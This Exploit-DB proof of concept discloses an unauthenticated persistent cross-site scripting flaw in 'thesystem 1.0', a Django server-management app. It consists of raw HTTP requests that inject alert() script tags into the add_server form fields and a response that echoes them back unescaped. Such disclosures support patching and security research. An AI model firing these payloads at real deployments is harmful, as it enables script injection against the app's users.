Exploit-DB #47440
Description: thesystem 1.0 - Cross-Site Scripting
Type: webapps
Platform: python
Date: 2019-09-30
Author: Anıl Baran Yelken

Exploit:
# Exploit Title: thesystem Persistent XSS 
# Author: Anıl Baran Yelken 
# Discovery Date: 2019-09-28 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Type: Webapps 
# Description: 
# Persistent XSS after login bypass(login_required didn't used) 

First of all, I send a request add_server 
POST /add_server/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED] 
Content-Length: 1205 
Connection: close 
Referer: http://127.0.0.1:8000/add_server/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567[PII_REDACTED]231977; _gid=GA1.1.882[PII_REDACTED]577719 
Upgrade-Insecure-Requests: 1 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="operating_system" 
<script>alert("kale1")</script> 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="ip_address" 
127.0.0.1 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="system_port" 
22 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="system_owner" 
<script>alert("kale2")</script> 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="system_username" 
<script>alert("kale3")</script> 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="system_password" 
<script>alert("kale4")</script> 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="system_description" 
<script>alert("kale5")</script> 
----------------------------[PII_REDACTED] 
Content-Disposition: form-data; name="server_name" 
<script>alert("kale6")</script> 
----------------------------[PII_REDACTED]-- 

After I send a request show_server_data 
GET /show_server_data/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567[PII_REDACTED]231977 
Upgrade-Insecure-Requests: 1 

And I showed persistent XSS: 
HTTP/1.1 200 OK 
Date: Sat, 28 Sep 2019 09:51:04 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Length: 437 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')